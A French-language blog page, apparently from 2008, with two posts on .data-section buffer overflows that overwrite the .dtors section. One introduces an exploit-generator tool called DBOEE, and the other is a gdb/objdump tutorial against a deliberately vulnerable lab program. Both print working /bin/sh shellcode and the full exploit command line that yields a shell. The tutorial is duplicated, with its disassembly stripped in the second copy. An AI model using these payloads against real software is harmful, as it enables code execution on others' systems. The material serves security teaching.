Salut a tous et a toutes .
Dans ce nouveau billet , je compte vous présenter mon projet baptisé "DBOEE" (Data-Based-Overflow Easy Exploitation) dans sa version "beta" si on peu dire .
Mais en quoi cela consiste -il ?
En fait , ce billet sera ici un complément du précédent concernant les .Data Overflows .
Le précédent billet m'a valut un commentaire de la part de quelqu'un ( il se reconnaitra j'espere ;-)) que j'admire me demandant "pourquoi tu n'as pas coder l'exploit qui va avec ?" .
Cette question a pour réponse : pas envie de coder un exploit pour un vuln.c ( pas trés utile en soit) .
Mais en y réfléchissant , pourquoi ne pas coder un programme qui , non seulement serait un exploit pour ce vuln.c, mais aussi serait adaptable a d'autres .Data Overflow ?
De la est né le projet DBOEE ayant pour objectif ( dans la version beta tout du moins ) ,la possibilité de s'adapter a d'autre situations afin de pouvoir facilement exploiter et au passage générer l'exploit associé .
Concrètement DBOEE vous demandera un shellcode (fournis au cas ou ..) , le nombre d'octets entre le buffer et la section DTORS a écraser ( j'automatiserais ça par la suite ) ainsi que la cible .
Concernant le nombre d'octets , le programme le calcule en déduisant la taille du shellcode de façon a faciliter cette opération .
Une fois l'exploit créé , il est sauvergardé dans le fichier Exploit.txt puis exploite le programme vulnérable.
Voila pour la présentation du projet DBOEE qui n'en ait ici qu'a ses débuts ( voir readme joint a l'archive).
Place au test :
[kmkz@localhost Fuzzer_Data-overflow]$ ./DBOEE
----------------------------
- Data-Based-Overflow Easy Exploitation -
----------------------------
[+]Programm :
-Devellopped by kmkz(c)
-Compilation :gcc -o DBOEE DBOEE.c
[+]Author's informations :
kmkz's web sites -> http://kmkz-web-blog.blogspot.com & www.collective-utopia.no-ip.fr
[+]This programm has been coded for makes easier the Data based Overflow exploitation.
You just have to give a shellcode(reached) , numbers of Bytes and the target name . DBOEE calculate the payload, exploit program and create feat ,nice isn't it.?
[~]This is my first real projet in C language and Beta version also I hold has excuse me for essential lack
---------------------------****************---------------------------
---------------------------STARTING PROGRAM---------------------------
[*] Enter Adress Return :
"\x60\x95\x04\x08"
[*] Enter your shellcode :
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x
cd\x80"
---------------------------Starting Exploitation---------------------------
[~]Program Running......
[~] check on the ongoing shellcode...
- Shellcode maximum Size : 1000
- Shellcode character -> 73
- Shellcode size (octets) -> 18
---------------------------Shellcode Created---------------------------
[*] enter the number of 'A' (octets) necessary for Overflow exploitation :
272
---------------------------Shellcode Created---------------------------
[~]Generating Payload....
(+)[Your Payload is] -->
272 x 'A' [your shellcode]
(+) subtraction of the shellcode bytes ...
[*] Payload generated is : printf 254 x 'A' [shellcode]
---------------------------Payload Created---------------------------
[~] Give me a target (example-> ./vuln)
./vuvu
-Target programm is -> ./vuvu
---------------------------Generating Exploit File---------------------------
[#] Creating Exploit File ....
[#]Exploit.txt : success !
[+] Sending payload...
------------ Result ------------
sh-3.2$
-----------------------------------------------------------------------------------------------------------------------------------------------------------
-Contenu du Fichier Exploit.txt -
-----------------------------------------------------------------------------------------------------------------------------------------------------------
`printf "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x
cd\x80"``perl -e 'print "A"x254'``printf "\x60\x95\x04\x08"`
-----------------------------------------------------------------------------------------------------------------------------------------------------------
Comme on peu le constater , l'exploit généré correspond en tout points a celui obtenu lors du billet précédent.
-----
Archive du projet DBOEE
-----
Voila , le source est un peu (beaucoup ) plus présentable désormais grace a la participation de m_101 (que je remercie au passage ).
Pour plus d'infos , consulter le "readme" inclu a l'archive.
A trés bientot et merci a tous \o !
ps2: Retrouver l'appel a participation au projet sur le forum
Collective-Utopia
2008/08/23
2008/08/09
.Data Section overflow
Hello World !
Me revoila pour un petit billet (probablement un des derniers de l'été /o\ mais pas le dernier de ce blog , loin de la ;-) !
Alors , étant un peu a court d'idées mais ayant besoin de travailler sur quelque chose d'assez concret/intéréssant , je me suis dis "pourquoi pas un article sur les Data overflow?" .
Cet article montrera uniqueme les notions de bases qui seront approfondie par la suite dans d'autres articles a venir .
|------------ Environnement -----------|
Il reste inchangé , cependant il est bon de le rappeller :
Linux Free 2.6.22.19-desktop-2mdv 2008 - GNU/Linux
i686 Intel(R) Pentium(R) 4 CPU 2.93GHz
|------------ Environnement -----------|
Les Data Overflow sont donc des Buffers Overflow se situants donc dans la section .Data (logique ,non..?) .
Contrairement aux Stack Overflow , nous n'allons pas chercher a "écraser" la pile mais bel et bien une autre Section mémoire .
Commençons la pratique :
Tout d'abord regardons l'organisation des sections de notre programme vulnérable (fourni en fin d'article) :
[kmkz@localhost Data_overflow]$ size -A -x vuvu // Simpa le nom
bss2 :
section size addr
.interp 0x13 0x8048114
.note.ABI-tag 0x20 0x8048128
.gnu.hash 0x20 0x8048148
.dynsym 0x50 0x8048168
.dynstr 0x4c 0x80481b8
.gnu.version 0xa 0x8048204
.gnu.version_r 0x20 0x8048210
.rel.dyn 0x8 0x8048230
.rel.plt 0x18 0x8048238
.init 0x30 0x8048250
.plt 0x40 0x8048280
.text 0x15c 0x80482c0
.fini 0x1c 0x804841c
.rodata 0x8 0x8048438
.eh_frame 0x4 0x8048440
.ctors 0x8 0x8049444 ---> constructor
.dtors 0x8 0x804944c ---> destructor
.jcr 0x4 0x8049454
.dynamic 0xc8 0x8049458
.got 0x4 0x8049520
.got.plt 0x18 0x8049524
.data 0x120 0x8049540 ---> Section .Data contenant le buffer vulnérable
.bss 0x4 0x8049660
.comment 0x177 0x0
.debug_aranges 0x50 0x0
.debug_pubnames 0x25 0x0
.debug_info 0x1cd 0x0
.debug_abbrev 0x6f 0x0
.debug_line 0x147 0x0
.debug_str 0xcf 0x0
.debug_ranges 0x40 0x0
Total 0xbc7
Vous remarquez 2 sections appellées Dtors et Ctors ( Constructor & Destructor).
Il s'agit de 2 sections présentes dans un fichier de format ELF qui sont deux attributs du
compilateurs gcc.
Elles permettent l’exécution de fonctions avant l’appel à la fonction
main() et avant le dernier exit() du programme .
( c'est a dire qu'elle le construisent et le détruisent a la fin ).
Ainsi, en faisant déborder le buffer vulnérable de la section .data nous
arrivons à écrire dans la section .dtors et à exécuter du code à la sortie de notre
programme.
---------------------------------->
Organisation des Ctors et Dtors:
0xffffffff . . . 0x00000000
<----------------------------------
Meme lorsque ces 2 fonctions se trouvent etre vides , elle sont tout de meme présentes en mémoire .
Dans vuvu.c , la section .dtors est justement vide :
---------------------------------->
[kmkz@localhost Data_overflow]$ objdump -s -j .dtors vuvu
bss2: file format elf32-i386
Contents of section .dtors:
804944c ffffffff 00000000
<---------------------------------- Prenons maintenant les renseignement qui seront nécéssaire a la réalisation de ce petit exploit :
---------------------------------->
(gdb) disas main
Dump of assembler code for function main:
0x08048344: lea 0x4(%esp),%ecx
0x08048348: and $0xfffffff0,%esp
0x0804834b: pushl 0xfffffffc(%ecx)
0x0804834e: push %ebp
0x0804834f: mov %esp,%ebp
0x08048351: push %ecx
0x08048352: sub $0x14,%esp
0x08048355: mov 0x4(%ecx),%eax
0x08048358: add $0x4,%eax
0x0804835b: mov (%eax),%eax
0x0804835d: mov %eax,0x4(%esp)
0x08048361: movl $0x8049560,(%esp)
0x08048368: call 0x80482b0
0x0804836d: add $0x14,%esp
0x08048370: pop %ecx
0x08048371: pop %ebp
0x08048372: lea 0xfffffffc(%ecx),%esp
0x08048375: ret
End of assembler dump.
---------------------------
Adresse de notre buffer :
(gdb) p & buf
$1 = ( *) 0x8049560
--------------------------
Adresse de la section Dtors:
(gdb) mai i section
Exec file:
`/home/kmkz/Bureau/C/TRAVAUX_hacking/Data_overflow/vuvu',
file type elf32-i386.
.....
0x08049444->0x0804944c at 0x00000444: .ctors ALLOC LOAD DATA HAS_CONTENTS
0x0804944c->0x08049454 at 0x0000044c: .dtors ALLOC LOAD DATA HAS_CONTENTS
.....
0x08049660->0x08049664 at 0x00000660: .bss ALLOC
.....
-------------------------
(gdb) x/2 0x0804944c
0x804944c <__dtor_list__>: 0xffffffff 0x00000000
Ça rappelle pas un truc ça ...?
Revoila notre Section Dtors bien vide comme vu précédemment.
-------------------------
(gdb) p (0x804944c+4) - 0x8049560
$2 = 272
<----------------------------------
Nous avons donc nombre d’octets
depuis notre buffer jusqu’à l’adresse en DTORS à écraser. Nous avons donc toutes les
informations pour exploiter notre programme.
On utilisera ici un shellcode de 18 Octets soit le calcul suivant :
272-18=254
Buffer :0x8049560
donc en little endian :
\x60\x95\x04\x08
Reste plus qu'a rassembler les infos pour créer notre exploit :
[kmkz@localhost Data_overflow]$ ./vuvu `printf "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x
cd\x80"``perl -e 'print "A"x254'``printf "\x60\x95\x04\x08"`
sh-3.2$
On vois ici l'un des avantages de cette méthode : Nous n'avons eu besoin que de programmes classique (objdump/gdb) pour récupérer ce dont nous avions besoin ; mais il faut pour cela un binaire "readable" (ce qui n'est pas toujour le cas .
Parcontre , du coup , pour que Notre shellcode s'exécute il nous faudra attendre la fin du programme (appel a exit() donc au destructeur ) contrairement a une exploitation qui se déroulerait sur la pile .
Et , rappellez-vous au sujet des Ctors et Dtors : ce sont deux attributs du
compilateurs gcc comme on l'a dit plus haut .
En tant que tel il est aussi nécéssaire que le programme vulnérable ait été compilé avec !
Voila , reste plus qu'a vous fournir les sources e ta vous souhaiter plein de bonnes choses ;-) .
A trés bientot pour de nouvelles aventures :'-) .
---------------------------------->
Programme vulnérable
Proof of concept (pl)
Et comme l'été on s'ennui :
Proof of concept (c)
<---------------------------------- See you .... o/
Me revoila pour un petit billet (probablement un des derniers de l'été /o\ mais pas le dernier de ce blog , loin de la ;-) !
Alors , étant un peu a court d'idées mais ayant besoin de travailler sur quelque chose d'assez concret/intéréssant , je me suis dis "pourquoi pas un article sur les Data overflow?" .
Cet article montrera uniqueme les notions de bases qui seront approfondie par la suite dans d'autres articles a venir .
|------------ Environnement -----------|
Il reste inchangé , cependant il est bon de le rappeller :
Linux Free 2.6.22.19-desktop-2mdv 2008 - GNU/Linux
i686 Intel(R) Pentium(R) 4 CPU 2.93GHz
|------------ Environnement -----------|
Les Data Overflow sont donc des Buffers Overflow se situants donc dans la section .Data (logique ,non..?) .
Contrairement aux Stack Overflow , nous n'allons pas chercher a "écraser" la pile mais bel et bien une autre Section mémoire .
Commençons la pratique :
Tout d'abord regardons l'organisation des sections de notre programme vulnérable (fourni en fin d'article) :
[kmkz@localhost Data_overflow]$ size -A -x vuvu // Simpa le nom
bss2 :
section size addr
.interp 0x13 0x8048114
.note.ABI-tag 0x20 0x8048128
.gnu.hash 0x20 0x8048148
.dynsym 0x50 0x8048168
.dynstr 0x4c 0x80481b8
.gnu.version 0xa 0x8048204
.gnu.version_r 0x20 0x8048210
.rel.dyn 0x8 0x8048230
.rel.plt 0x18 0x8048238
.init 0x30 0x8048250
.plt 0x40 0x8048280
.text 0x15c 0x80482c0
.fini 0x1c 0x804841c
.rodata 0x8 0x8048438
.eh_frame 0x4 0x8048440
.ctors 0x8 0x8049444 ---> constructor
.dtors 0x8 0x804944c ---> destructor
.jcr 0x4 0x8049454
.dynamic 0xc8 0x8049458
.got 0x4 0x8049520
.got.plt 0x18 0x8049524
.data 0x120 0x8049540 ---> Section .Data contenant le buffer vulnérable
.bss 0x4 0x8049660
.comment 0x177 0x0
.debug_aranges 0x50 0x0
.debug_pubnames 0x25 0x0
.debug_info 0x1cd 0x0
.debug_abbrev 0x6f 0x0
.debug_line 0x147 0x0
.debug_str 0xcf 0x0
.debug_ranges 0x40 0x0
Total 0xbc7
Vous remarquez 2 sections appellées Dtors et Ctors ( Constructor & Destructor).
Il s'agit de 2 sections présentes dans un fichier de format ELF qui sont deux attributs du
compilateurs gcc.
Elles permettent l’exécution de fonctions avant l’appel à la fonction
main() et avant le dernier exit() du programme .
( c'est a dire qu'elle le construisent et le détruisent a la fin ).
Ainsi, en faisant déborder le buffer vulnérable de la section .data nous
arrivons à écrire dans la section .dtors et à exécuter du code à la sortie de notre
programme.
---------------------------------->
Organisation des Ctors et Dtors:
0xffffffff
<----------------------------------
Meme lorsque ces 2 fonctions se trouvent etre vides , elle sont tout de meme présentes en mémoire .
Dans vuvu.c , la section .dtors est justement vide :
---------------------------------->
[kmkz@localhost Data_overflow]$ objdump -s -j .dtors vuvu
bss2: file format elf32-i386
Contents of section .dtors:
804944c ffffffff 00000000
<---------------------------------- Prenons maintenant les renseignement qui seront nécéssaire a la réalisation de ce petit exploit :
---------------------------------->
(gdb) disas main
Dump of assembler code for function main:
0x08048344
0x08048348
0x0804834b
0x0804834e
0x0804834f
0x08048351
0x08048352
0x08048355
0x08048358
0x0804835b
0x0804835d
0x08048361
0x08048368
0x0804836d
0x08048370
0x08048371
0x08048372
0x08048375
End of assembler dump.
---------------------------
Adresse de notre buffer :
(gdb) p & buf
$1 = ( *) 0x8049560
--------------------------
Adresse de la section Dtors:
(gdb) mai i section
Exec file:
`/home/kmkz/Bureau/C/TRAVAUX_hacking/Data_overflow/vuvu',
file type elf32-i386.
.....
0x08049444->0x0804944c at 0x00000444: .ctors ALLOC LOAD DATA HAS_CONTENTS
0x0804944c->0x08049454 at 0x0000044c: .dtors ALLOC LOAD DATA HAS_CONTENTS
.....
0x08049660->0x08049664 at 0x00000660: .bss ALLOC
.....
-------------------------
(gdb) x/2 0x0804944c
0x804944c <__dtor_list__>: 0xffffffff 0x00000000
Ça rappelle pas un truc ça ...?
Revoila notre Section Dtors bien vide comme vu précédemment.
-------------------------
(gdb) p (0x804944c+4) - 0x8049560
$2 = 272
<----------------------------------
Nous avons donc nombre d’octets
depuis notre buffer jusqu’à l’adresse en DTORS à écraser. Nous avons donc toutes les
informations pour exploiter notre programme.
On utilisera ici un shellcode de 18 Octets soit le calcul suivant :
272-18=254
Buffer :0x8049560
donc en little endian :
\x60\x95\x04\x08
Reste plus qu'a rassembler les infos pour créer notre exploit :
[kmkz@localhost Data_overflow]$ ./vuvu `printf "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x
cd\x80"``perl -e 'print "A"x254'``printf "\x60\x95\x04\x08"`
sh-3.2$
On vois ici l'un des avantages de cette méthode : Nous n'avons eu besoin que de programmes classique (objdump/gdb) pour récupérer ce dont nous avions besoin ; mais il faut pour cela un binaire "readable" (ce qui n'est pas toujour le cas .
Parcontre , du coup , pour que Notre shellcode s'exécute il nous faudra attendre la fin du programme (appel a exit() donc au destructeur ) contrairement a une exploitation qui se déroulerait sur la pile .
Et , rappellez-vous au sujet des Ctors et Dtors : ce sont deux attributs du
compilateurs gcc comme on l'a dit plus haut .
En tant que tel il est aussi nécéssaire que le programme vulnérable ait été compilé avec !
Voila , reste plus qu'a vous fournir les sources e ta vous souhaiter plein de bonnes choses ;-) .
A trés bientot pour de nouvelles aventures :'-) .
---------------------------------->
Programme vulnérable
Proof of concept (pl)
Et comme l'été on s'ennui :
Proof of concept (c)
<---------------------------------- See you .... o/
Inscription à :
Articles (Atom)